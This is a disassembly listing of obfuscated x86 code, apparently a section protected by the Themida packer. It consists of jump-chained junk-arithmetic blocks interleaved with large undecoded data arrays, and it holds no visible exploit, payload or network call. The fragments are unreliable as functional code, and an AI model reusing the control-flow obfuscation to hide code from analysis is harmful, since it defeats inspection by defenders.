		push	ebp
		jmp	loc_57280F
; ---------------------------------------------------------------------------
		dd 0AB8CE95Dh, 495EFFFFh, 0E181D1F7h, 3BF94899h, 1E981h
		dd 0F1810000h, 22EF0157h, 0BEDCC181h, 0CF01E758h, 2B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A6D5:				; CODE XREF: Themida_:005632D1j
		mov	[esp], edi
		mov	edi, 2
		add	ebp, edi
		pop	edi
		jmp	loc_56398E
; ---------------------------------------------------------------------------
		align 2
		dw 0E9E8h
		dd 0FFFF7D88h
; ---------------------------------------------------------------------------


loc_56A6EC:				; CODE XREF: Themida_:0055F5DEj
		add	eax, 702C2C93h
		pop	ebx
		sub	eax, 0FFFFFFFFh
		shr	eax, 2
		add	eax, 59771DFh
		dec	eax
		neg	eax
		push	30F3h
		mov	[esp], esi
		mov	esi, 2DBDB300h
		add	eax, esi
		pop	esi
		and	edx, eax
		pop	eax
		sub	edx, 0FC0345C0h
		xor	ecx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_56D1E6
; ---------------------------------------------------------------------------


loc_56A726:				; CODE XREF: Themida_:00564778j
		not	eax
		jmp	loc_5614D2
; ---------------------------------------------------------------------------


loc_56A72D:				; CODE XREF: Themida_:005631ABj
		pop	edi
		xor	ebp, 78861E2Eh
		jmp	loc_573421
; ---------------------------------------------------------------------------
		db 43h,	81h, 0F3h
		dd 0CA461F2h, 815BD831h, 3053C4C5h, 0EAED8130h,	13FED14h
		dd 4EC83C5h, 0BF243C89h, 435B1223h, 72B7F781h, 0EFC15B55h
		dd 71F9E903h, 9BB8FFFFh, 1ED94B3h, 0D63158C2h, 12E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A779:				; CODE XREF: Themida_:00572BEEj
		mov	cl, 84h
		add	cl, 3Ch
		add	dh, cl
		pop	ecx
		pop	ecx
		push	191Dh
		jmp	loc_5684BB
; ---------------------------------------------------------------------------
		dd 8046EA80h, 0F28075CAh, 5AD300E2h, 0EB80EB00h, 0D8285995h
		dd 4D8285Bh, 69856847h,	1C890000h, 0C0C4B724h, 0F78002EFh
		dd 87A2E95Dh, 68590000h, 6783h,	0FFD2B6E9h, 4BE56FFh, 1000000h
		dd 0E9835EF1h, 2585E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A7D6:				; CODE XREF: Themida_:00567B52j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 2
		add	edx, 79C022D2h
		sub	edx, ebp
		push	eax
		push	edi
		mov	edi, 79C022D2h
		mov	eax, edi
		pop	edi
		sub	edx, 0D2A31A8h
		sub	edx, eax
		add	edx, 0D2A31A8h
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		push	edx
		jmp	loc_567BAD
; ---------------------------------------------------------------------------


loc_56A80F:				; CODE XREF: Themida_:0056E8F5j
		inc	dh
		not	dh
		xor	dh, 45h
		shr	dh, 7
		inc	dh
		push	ecx
		mov	ch, 35h
		xor	ch, 0EBh
		jmp	loc_572BE2
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 0CB82742h, 7308E945h, 4BB9FFFFh, 830F165Dh, 0E98101C1h
		dd 0D43E341Bh, 5759CB21h, 93468h, 760BE928h, 89660000h
		dd 0A1E92414h, 0F7FFFF93h, 79912DD0h, 8C057502h, 3565AB3Bh
		dd 3A38EF62h, 8158C701h, 0C6B53C7h, 5FFE892Dh, 4569C9BFh
		dd 5EF729AAh, 815FFA29h, 2B79ECEAh, 13ECE9A8h, 0DD300000h
		dd 58E5285Bh, 0E903E5C0h, 73Bh,	0F140282Dh, 0D22FE947h
		dd 0EA01FFFFh, 81242C8Bh, 4C4h,	24143300h, 33241431h, 665C2414h
		dd 0E924048Bh, 2EC4h, 240C8B66h, 0FF61DEE9h, 0ABD55FFh
		dd 14DAA3Fh, 9979E9EFh,	685EFFFFh, 7AECh, 50241489h, 0E21D0EB8h
		dd 0F9430553h, 0BD55F701h, 4AE41653h, 0FF94A0E9h, 0E08950FFh
		dd 405h, 4C08300h, 31240433h, 4332404h,	815B5C24h, 0EF503AEBh
		dd 0E9C32907h, 0FFFF89BEh
; ---------------------------------------------------------------------------


loc_56A918:				; CODE XREF: Themida_:0056A600j
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56344B
; ---------------------------------------------------------------------------
		db 0BEh
		dd 3CC5793Eh, 86C4C681h, 0F129C33Ah, 240C875Eh,	93AE9h
		dd 2A946800h, 475F62B0h, 6E7C147h, 8763C781h, 0FD89A9DDh
		dd 808EE9h, 24148B00h, 283FE9h,	4C38100h, 83000000h, 2C8904ECh
		dd 5124BD24h, 9EE91FB3h, 89FFFF7Fh, 5B54241Ch, 4EC8350h
		dd 0BE243489h, 4, 1EE9F089h, 59FFFFB7h,	0E904C783h, 0FFFFD876h
		dd 0E904C483h, 4C5h, 2434FF5Ah,	51243C8Bh, 0C181E189h
		dd 4, 6F46E950h, 5E5AFFFFh, 67DC68h, 242C8900h,	42474FFh
		dd 24048F5Dh, 4479355Ch, 0C28146CEh, 10C30D2h, 16A9BE56h
		dd 0F2014A5Eh, 550EE95Eh, 3EBBFFFFh, 0F731641Eh, 81DBF7D3h
		dd 894D88CBh, 8DF38146h, 56545925h, 0C4248F68h,	0F6815E3Fh
		dd 7E3F60F1h, 1F76C681h, 0F329B658h, 0E9DD315Eh, 5B2Dh
		dd 6640BE56h, 0DEF70CC0h, 60E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_56AA1D:				; CODE XREF: Themida_:00564CC4j
		sub	ebx, 4481002Bh
		sub	ebx, 43C38667h
		jmp	loc_55FE28
; ---------------------------------------------------------------------------


loc_56AA2E:				; CODE XREF: Themida_:00563623j
		push	edx
		jmp	loc_5675DC
; ---------------------------------------------------------------------------
		dd 371268h, 242C8900h, 4C29D168h, 0C3815D24h, 7DE93CFFh
		dd 0EB81EB29h, 7DE93CFFh, 0E92434FFh, 0FFFFA2CEh, 0F672B252h
		dd 1DEA80D2h, 0C0EAF280h, 0F28002EAh, 5AD13022h, 2C59C800h
		dd 66D828C4h, 66707168h, 0B2241489h, 66D000C4h,	67C5E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AA86:				; CODE XREF: Themida_:0055EC25j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_567AAE
; ---------------------------------------------------------------------------


loc_56AAA2:				; CODE XREF: Themida_:0056428Aj
		mov	esi, [esp]
		add	esp, 4
		push	4A0Fh
		mov	[esp], ecx
		mov	ecx, 1E1C5A78h
		or	ebp, ecx
		jmp	loc_56DE0A
; ---------------------------------------------------------------------------
		dd 8324148Bh, 0EE8104C4h, 0E3C81CA4h, 0E95EF031h, 0FFFFDD35h
		dd 144EEF81h, 8158387Ah, 937DACC5h, 0E9FD0127h,	4F8Ah
		dd 0CBE8E95Bh, 0BF57FFFFh, 66E6153h, 4104EF81h,	0E952DBAAh
		dd 2947h, 4DEA68h, 5DF8E900h, 24890000h, 24048124h, 4
		dd 0FFF081E9h, 241C89FFh, 0F968E389h, 8900001Eh, 0EC832434h
		dd 0F8E2E904h, 3C8BFFFFh, 4C48124h, 81000000h, 9255B6EEh
		dd 0C9C6811Ah, 0E965101Eh, 8399h
; ---------------------------------------------------------------------------


loc_56AB44:				; CODE XREF: Themida_:00561E64j
		sub	ebx, 2ECD422Ah
		push	eax
		jmp	loc_56994C
; ---------------------------------------------------------------------------


loc_56AB50:				; CODE XREF: Themida_:00561766j
		pop	dword ptr [esp]
		jmp	loc_568990
; ---------------------------------------------------------------------------
		dd 4C481h, 0BD550000h, 0FC12201h, 4C55B850h, 0C58137E6h
		dd 1359162Fh, 0BA52C501h, 42660E9Ah, 1E23E281h,	0C281675Ah
		dd 0D117082Dh, 585AD529h, 2115E581h, 0ED8104A7h, 467751B7h
		dd 258CEB81h, 0EB012541h, 258CC381h, 895D2541h,	241C8BDFh
		dd 2104C483h, 2434FFF8h, 0FF505DE9h, 5DE581FFh,	81358764h
		dd 6330A9F5h, 5DEA8933h, 34F8EA81h, 4CE92766h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56ABCF:				; CODE XREF: Themida_:0056F1F1j
		sub	ebp, 0FFAF3D99h
		push	ebp
		add	dword ptr [esp], 3769369Ah
		jmp	loc_5651BC
; ---------------------------------------------------------------------------
		dw 0FF50h
		dd 58042474h, 436EE9h, 5EF00100h, 5158C501h, 2D1EE954h
		dd 5B540000h, 4C381h, 0C3810000h, 4, 8B241C87h,	0CA292424h
		dd 3C7FE9h, 5BDF8900h, 1821CF81h, 0E7812805h, 25B65195h
		dd 1EF81h, 0D7F70000h, 5507E7C1h, 0FF7459E9h, 0B35366FFh
		dd 66DC2874h, 8BE1285Bh, 0C4812404h, 4,	284FE980h, 4FC180D9h
		dd 5B6BC180h, 8059C830h, 0EB806DC3h, 798AE975h,	48FFFFFh
		dd 6D876824h, 2C890000h, 4EC8324h, 55243C89h, 40401C68h
		dd 0E5815D70h, 37A82F8Fh, 8ED81h, 0EF893000h, 10CF685Dh
		dd 3C890000h, 3C8B5D24h, 4C48324h, 4246C81h, 5E94205Fh
		dd 35C8E9h, 0E9D30100h,	0FFFFECCBh, 9892C381h, 0DA01D516h
		dd 83241C8Bh, 55E904C4h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56ACBF:				; CODE XREF: Themida_:0056116Fj
		sub	edi, edx
		pop	edx
		push	edx
		mov	edx, 608C834Fh
		xor	edi, edx
		pop	edx
		sub	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], bx
		jmp	loc_567DFF
; ---------------------------------------------------------------------------
		db 0BBh, 0CFh, 3Ch
		dd 0F3811B1Ah, 1B1A3CCEh, 7DE9DE29h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ACF3:				; CODE XREF: Themida_:0056F688j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		idiv	ecx
		push	237Ah
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_56424A
; ---------------------------------------------------------------------------
		dw 0C0B6h
		dd 0FF73DCE9h, 56D029FFh, 0FF9AA6E9h, 7AEB81FFh, 5D416625h
		dd 24148B66h, 7BDD6855h, 8F540000h, 4812404h, 424h, 3D8CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AD3E:				; CODE XREF: Themida_:005616F1j
		sub	edi, 57E82127h
		and	ebx, edi
		jmp	loc_56CBDF
; ---------------------------------------------------------------------------
		db 50h
		dd 5415A3B8h, 35A1E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AD56:				; CODE XREF: Themida_:0056F89Fj
		and	ebx, 6712371Dh
		inc	ebx
		shr	ebx, 5
		add	ebx, 42599B60h
		sub	ebp, ebx
		pop	ebx
		add	ebp, 0EAB28A4h
		pop	eax
		xor	ebp, [esp]
		jmp	loc_571F2A
; ---------------------------------------------------------------------------


loc_56AD78:				; CODE XREF: Themida_:00573A22j
		sub	ebx, 31C32215h
		add	ebx, 0A15D33E2h
		jmp	loc_5692F7
; ---------------------------------------------------------------------------


loc_56AD89:				; CODE XREF: Themida_:0056FCFAj
		add	ebp, 4
		push	ebx
		push	4
		jmp	loc_563422
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 4399E901h, 489FFFFh,	3A92E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56ADAA:				; CODE XREF: Themida_:00566DC3j
		mov	[esp], edi
		mov	edi, 1FCE490Bh
		mov	ebp, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		push	43A176Fh
		pop	ecx
		jmp	loc_56C3D8
; ---------------------------------------------------------------------------


loc_56ADD6:				; CODE XREF: Themida_:00561270j
		shr	ebx, 4
		and	ebx, 258A446Ah
		jmp	loc_572098
; ---------------------------------------------------------------------------
		dd 0E6E932FFh
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ADEB:				; CODE XREF: Themida_:00564000j
		push	esp
		jmp	loc_571409
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4C2h, 24148700h, 707FE9h,	24048100h, 4, 5F2434FFh
		dd 0E9E78957h, 4171h
; ---------------------------------------------------------------------------


loc_56AE18:				; CODE XREF: Themida_:00567BC7j
		mov	[esp], edx
		jmp	loc_563552
; ---------------------------------------------------------------------------
		dd 9A0C73BDh, 55C5814Fh, 815AD122h, 11FA52C5h, 5DE9899Ah
		dd 0FFF6C6E9h, 0C615E9FFh, 0E951FFFFh, 345Bh
; ---------------------------------------------------------------------------


loc_56AE44:				; CODE XREF: Themida_:0056D90Dj
		xchg	edi, [esp]
		jmp	loc_568604
; ---------------------------------------------------------------------------
		dd 2474FF52h, 4562E904h, 0C4810000h, 4,	1091E9h, 0E6E95100h
		dd 8BFFFFA2h, 0C4832404h, 2434FF04h, 0E954535Eh, 0FFFFD5C2h
		dd 0C8E0E951h, 34FFFFFFh, 2434FF24h, 582434FFh,	0FFA0B6E9h
		dd 4C281FFh, 83000000h,	0FF5204EAh, 8B042474h, 0E9562414h
		dd 202Fh, 24148966h, 0FF50E0E9h, 241489FFh, 8D2959BAh
		dd 23BE564Dh, 813FA10Eh, 0FB4AB2C6h, 4EC8320h, 0B8240489h
		dd 207B23C6h, 0FE9C629h, 0BF00006Fh, 2D29790Ch,	3C8BF801h
		dd 4C48124h, 1000000h, 6567E9F0h, 0F301FFFFh, 6FB8505Eh
		dd 40281B1Dh, 0B917F32Dh, 58C32126h, 0E3C1D3F7h, 0BD555007h
		dd 30833201h, 10A12B8h,	5DE83152h, 0D8F7E0D1h, 0FFC4AAE9h
		dd 0B6E95DFFh, 81000086h, 3437B9F6h, 2C815675h,	0FC2A6124h
		dd 0DB81E955h, 2D66FFFFh, 566231Dh, 55660DCCh, 6258BD66h
		dd 66E80166h, 0B9CE95Dh, 17BB0000h, 814C5E37h, 0AA1A17EBh
		dd 4CF38105h, 0C16E222Ah, 0BD5506EBh, 43990327h, 0E906EDC1h
		dd 0FFFF637Bh, 8B2434FFh, 0E952241Ch, 755Eh, 5C241487h
		dd 5D2434FFh, 4C481h, 0E6680000h, 89000067h, 74FF2404h
		dd 8F580424h, 248B2404h, 2434FF24h, 0E924048Bh,	0FFFFCF61h
		dd 4BFh, 0AAE98100h, 170DA2Eh, 0AAC181F9h, 5F70DA2Eh, 4E981h
		dd 0C870000h, 24248B24h, 89243489h, 37F468E6h, 88E90000h
		dd 80FFFF5Ch, 93E9BAC5h, 0FEFFFFE0h, 54C580CDh,	6659EE20h
		dd 203BB353h, 0E95B66DEh, 1B85h, 8359CE89h, 814601EEh
		dd 7CFFBCC6h, 5E58565Fh, 12Dh, 0EABE5600h, 294BD359h, 0BB535EF0h
		dd 32C53C30h, 0E1F3814Bh, 4B15480Ch, 93E9DBF7h,	81FFFF3Eh
		dd 4C4h, 59C2E900h, 895E0000h, 6AE959C8h, 0FF000044h, 0C8E92434h
		dd 45000000h, 0F281EA87h, 79E1629Ah, 8B5AEA81h,	0D62983B3h
		dd 59C3815Ah, 0E908F937h, 0FFFF5363h, 4EC81h, 34890000h
		dd 2414F724h, 0E924348Bh, 0FFFF4265h, 0E9D78859h, 20F8h
; ---------------------------------------------------------------------------


loc_56B078:				; CODE XREF: Themida_:005680E0j
		mov	[esp], ebx
		push	6EBF10ADh
		pop	ebx
		shr	ebx, 3
		jmp	loc_564324
; ---------------------------------------------------------------------------
		db 0F6h, 0D5h, 80h
		dd 0DDF630C5h, 8005EDC0h, 0CDFE1DF5h, 8008EDC0h, 505305F5h
		dd 0E788CCB4h, 50C58058h, 0ED80FD28h, 0BF4FE950h, 0E95BFFFFh
		dd 52E9h, 4BEh,	5EF00100h, 0E9240433h, 7DE5h
; ---------------------------------------------------------------------------


loc_56B0C8:				; CODE XREF: Themida_:0056A13Fj
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_571501
; ---------------------------------------------------------------------------


loc_56B0D2:				; CODE XREF: Themida_:0055FB86j
		xor	edi, ebp
		pop	ebp
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_56E342
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		jmp	loc_5728EF
; ---------------------------------------------------------------------------
		db 58h
		dd 0C166E952h, 0E905FFFFh, 5155758h, 387866FDh,	0FFA9E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B11D:				; CODE XREF: Themida_:0055F8B1j
		push	ecx
		push	ebp
		mov	ebp, 13C34B9Ch
		jmp	loc_55F3A7
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68241489h, 362509B8h, 4CC2815Ah, 89C9DAF6h, 0CD8E9D0h
		dd 77FF0000h, 58669D1Ch, 9C240418h, 0FF3980E9h,	7DC2DFFh
		dd 75E917DEh
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B15B:				; CODE XREF: Themida_:00571635j
		push	590Fh
		jmp	loc_566DB3
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF3964E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B16D:				; CODE XREF: Themida_:00560961j
		sub	ecx, 2283192Dh
		sub	eax, 4A2197Ah
		sub	eax, ecx
		add	eax, 4A2197Ah
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_573C3B
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 468C516Eh, 0FF79AFE9h, 58C501FFh, 0FF4FAAE9h, 54D568FFh
		dd 14890000h, 50E28924h, 4B8h, 58C20100h, 4C281h, 14330000h
		dd 24143124h, 8B241433h, 6DE92424h, 68FFFFF8h, 3D02h, 89243C89h
		dd 4C781E7h, 51000000h,	0C181E189h, 4, 8704E983h, 0E95C240Ch
		dd 0CD3h
; ---------------------------------------------------------------------------


loc_56B1EC:				; CODE XREF: Themida_:0056E785j
		add	ecx, 0EED21CCh
		push	ebx
		mov	ebx, 0C04BC142h
		xor	ecx, ebx
		pop	ebx
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56464E
; ---------------------------------------------------------------------------
		db 5Dh
		dd 355EF089h, 6A6C47E2h, 9C7B9C05h, 2DD8F737h, 0FFFFFFFFh
		dd 0CE686B35h, 58C6016Bh, 2474FF56h, 48F5E04h, 24248B24h
		dd 24048B66h, 1F6C68h, 24048900h, 0FF934DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B245:				; CODE XREF: Themida_:0056D77Fj
		add	esp, 4
		jmp	loc_569AA7
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 0C7815F04h, 4, 4EC81h, 0C890000h, 52E95324h,	29000034h
		dd 0EEE95DEAh
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B26F:				; CODE XREF: Themida_:0056B6D8j
		mov	esp, [esp]
		jmp	loc_573572
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24148966h, 20F0E9h
		db 0
; ---------------------------------------------------------------------------


loc_56B281:				; CODE XREF: Themida_:00568C3Bj
		add	esi, 22924B42h
		sub	esi, 0A87B8ABAh
		mov	edi, esi
		pop	esi
		inc	edi
		or	edi, 7462727Dh
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		not	esi
		xchg	esi, edi
		jmp	loc_562F1B
; ---------------------------------------------------------------------------


loc_56B2A6:				; CODE XREF: Themida_:00571027j
		add	esp, 4
		sub	esi, 6192092Ah
		push	eax
		mov	eax, 444927BDh
		jmp	loc_56FB06
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0E9535E24h, 0FFFFA5C7h, 66CAFE5Ch, 619E952h,	0BD550000h
		dd 5F933E1Ah, 7E7AED81h, 0ADE96203h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56B2DF:				; CODE XREF: Themida_:0056D314j
		add	ebp, ebx
		jmp	loc_567728
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 1A8D14D1h, 0FFB327E9h, 243489FFh, 29BBA52h, 0BD552863h
		dd 560E5EF8h, 0D107EDC1h, 0E5C14DE5h, 81D5F706h, 4E4EA6F5h
		dd 5DEE8994h, 0ADE9D601h, 5000006Dh, 0BA7B54B8h, 1D870578h
		dd 0E9536CBFh, 24E9h
; ---------------------------------------------------------------------------


loc_56B32C:				; CODE XREF: Themida_:00572450j
		pop	ax
		jmp	loc_56F913
; ---------------------------------------------------------------------------


loc_56B333:				; CODE XREF: Themida_:0056D624j
		add	edx, edi
		add	edx, 34686809h
		jmp	loc_568E13
; ---------------------------------------------------------------------------
		dd 0B059F681h, 0F1890E22h, 8BCD895Eh, 0C481240Ch, 4, 2C8BE901h
		dd 0E2895224h, 4C281h, 0BFE90000h, 5CFFFF8Eh, 0FF3764E9h
		dd 4C381FFh, 83000000h,	1C8704C3h, 24248B24h, 0E904EC83h
		dd 0FFFFEFE0h, 5FC78147h, 2988398Fh, 243C8BFBh,	0FFDF86E9h
		dd 58E288FFh, 5B2434FFh, 0E904C483h, 16C1h, 31242C33h
		dd 2C33242Ch, 0C4815C24h, 4, 51C8AF0Fh,	3713E99Ch, 13B8FFFFh
		dd 0F74C9367h, 45C82DD8h, 0E8C1510Ch, 35D8F704h, 0F9D9FACAh
		dd 8158C501h, 4C5h, 6DE4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B3E2:				; CODE XREF: Themida_:00570B7Dj
		pop	ebp
		jmp	loc_5656CF
; ---------------------------------------------------------------------------
		dd 240C895Ch, 0FA2BF4B9h, 732CE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B3F6:				; CODE XREF: Themida_:005736B2j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5714D0
; ---------------------------------------------------------------------------
		db 83h,	0EEh, 1
		dd 1A0DE9h, 4895C00h, 34FF5424h, 24048B24h, 8104C483h
		dd 4C4h, 28D86800h, 1C890000h, 4BB24h, 0D8010000h, 0E9241C8Bh
		dd 0FFFFF6C8h, 0FEE9D800h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B43B:				; CODE XREF: Themida_:005608CCj
		add	ebx, 0F4FD4F84h
		mov	edi, ebx
		pop	ebx
		sub	eax, 11082EB7h
		add	eax, edi
		push	edi
		mov	edi, 11082EB7h
		add	eax, edi
		pop	edi
		mov	edi, [esp]
		push	edi
		jmp	loc_56EFDB
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 12h
		dd 0E900CD0Ch, 0FFFFD965h, 875BDE29h, 0E95C2434h, 0FFFF9153h
; ---------------------------------------------------------------------------


loc_56B474:				; CODE XREF: Themida_:005699E9j
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_561765
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 0E9FD8904h, 83F5h, 6D67F581h, 0EC815E7Bh
		dd 4, 0E9243489h, 0FFFFB03Dh, 8851CC88h, 8BCF88E1h, 8950240Ch
		dd 405E0h, 4050000h, 87000000h,	0E95C2404h, 413Bh, 42E95152h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B4C7:				; CODE XREF: Themida_:00572515j
		add	edx, 723E5BE4h
		sub	edx, eax
		sub	edx, 723E5BE4h
		add	edx, 3816715Eh
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	4E82h
		mov	[esp], esi
		push	edx
		jmp	loc_5631B0
; ---------------------------------------------------------------------------
		dw 0C583h
		dd 242C8704h, 0E289525Ch, 0FF98F4E9h, 241CF6FFh, 35C3E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B50E:				; CODE XREF: Themida_:0056E8D4j
		mov	[esp], eax
		pop	edi
		jmp	loc_570E42
; ---------------------------------------------------------------------------


loc_56B517:				; CODE XREF: Themida_:005627EDj
		sub	esp, 4
		jmp	loc_55F26F
; ---------------------------------------------------------------------------
		db 89h
		dd 63BB241Ch, 52B7B08h,	52400E32h, 5DE9D829h, 2DFFFF7Ah
		dd 4, 5C240487h, 0FFB737E9h, 5E089FFh, 4, 4BF57h, 0F8010000h
		dd 2404875Fh, 7268555Ch, 8900001Eh, 5B5D241Ch, 7C33B951h
		dd 69E9212Eh
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B56B:				; CODE XREF: Themida_:00562A29j
		mov	esi, esp
		jmp	loc_56099F
; ---------------------------------------------------------------------------


loc_56B572:				; CODE XREF: Themida_:00561F9Aj
		xchg	ebp, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_570C97
; ---------------------------------------------------------------------------
		dd offset dword_457444+18724h
		align 2
		dw 1489h
		dd 2BA24h, 0A1050000h, 1050877h, 77A12DD0h, 0D5E90508h
		dd 83FFFF4Eh, 148904ECh, 0FE895624h, 45AE68h, 75ADE900h
		dd 4BB0000h, 29000000h,	0FF515BD9h, 59042474h, 0E924048Fh
		dd 7DEFh, 18AF6896h, 4890000h, 24348724h, 87E9D6F7h, 100007Bh
		dd 32E981D9h, 5B089134h, 490468h, 243C8900h, 42DD6853h
		dd 685B33C5h, 19DDh, 0B9240C89h, 6A657195h, 0D54B90BFh
		dd 7D70E961h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B60E:				; CODE XREF: Themida_:0056DC69j
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2
		add	ebp, 4E7E7C2Ah
		sub	ebp, edi
		sub	ebp, 4E7E7C2Ah
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56C00F
; ---------------------------------------------------------------------------
		dd 2A8D68h, 24348900h, 5404EC83h, 0FF9874E9h, 0EF6850FFh
		dd 5843F005h, 2B41CD05h, 0F37E904h, 0F0280000h,	34FFCD04h
		dd 0C4835A24h, 0FDBAE904h, 42DFFFFh, 0E9000000h, 0FFFFE7DEh
; ---------------------------------------------------------------------------


loc_56B684:				; CODE XREF: Themida_:00562AFFj
		shl	ecx, 4
		jmp	loc_56FBF4
; ---------------------------------------------------------------------------


loc_56B68C:				; CODE XREF: Themida_:0056CC02j
		sub	esp, 4
		jmp	loc_55ECAC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 0B8505300h, 41D9296Ch,	82D752Dh, 85E6E964h, 875DFFFFh
		dd 248B2404h, 243C3324h, 33243C31h, 248B243Ch, 0A9C1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B6C6:				; CODE XREF: Themida_:0056D148j
		add	edx, ecx
		sub	edx, 568F0D78h
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_56B26F
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 8
		dd 29C45AC6h, 14875FFAh, 24895C24h, 0D7E95224h,	5600005Eh
		dd 42474FFh, 24048F5Eh,	8B24248Bh, 0A8E92404h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B707:				; CODE XREF: Themida_:0055FA05j
		add	edx, 7036AFCh
		push	dword ptr [esp]
		jmp	loc_566916
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 57h
		dd 285C85BFh, 7748E96Bh, 8F5FFFFFh, 248B2404h, 5960E924h
		dd 0B705FFFFh, 0E92DD65Eh, 0FFFFC0B1h, 0B472E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B73E:				; CODE XREF: Themida_:00573B98j
		mov	ecx, [edx]
		jmp	loc_5734A6
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 2AF668h, 0B128E900h,	0D831FFFFh, 57241C8Bh, 0FFCA5BE9h
		dd 0E7C059FFh, 0E9526604h, 0FFFF4978h, 68240489h, 542615FEh
		dd 0C6E95758h, 81FFFFF1h, 0F522ABC3h, 17F38176h, 81577F5Ah
		dd 6C6B92C3h, 8BDD01FBh, 0C481241Ch, 4,	215DEE29h, 24348BF7h
		dd 4C74E9h, 24896600h, 0FC686624h, 0A61AE906h, 0E950FFFFh
		dd 0FFFFCBE6h, 116449BFh, 58C7019Ah, 0FF65B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B7C1:				; CODE XREF: Themida_:00565239j
		and	edx, ecx
		pop	ecx
		jmp	loc_56DAE6
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0E92434FFh, 204Eh, 81240C8Bh, 4C4h, 0D6895600h, 0E95E5B56h
		dd 0FFFF9215h, 0E958C101h, 0FFFF8C87h, 0E904EC83h, 0FFFFDD0Fh
		dd 24048B66h, 0E95B5453h, 0FFFFF159h, 0DAF7DAF7h, 594FC281h
		dd 0EAC16E7Dh, 757EE902h, 0E6800000h, 80D6F699h, 0F4E978C6h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B823:				; CODE XREF: Themida_:0056EF2Aj
		pop	edx
		pop	edi
		add	eax, esi
		pop	esi
		add	eax, ebp
		jmp	loc_5654D9
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF8015E9h
		db 0FFh
